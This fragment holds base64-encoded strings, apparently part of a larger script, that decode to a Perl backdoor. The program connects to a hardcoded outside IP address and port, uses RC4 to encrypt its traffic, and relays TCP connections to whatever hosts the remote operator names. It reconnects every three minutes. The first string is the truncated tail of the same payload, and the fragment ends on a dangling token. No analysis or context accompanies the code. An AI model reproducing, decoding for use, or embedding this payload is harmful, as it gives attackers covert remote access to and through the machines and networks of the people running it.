sKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K" x "IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xODQnOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K" x 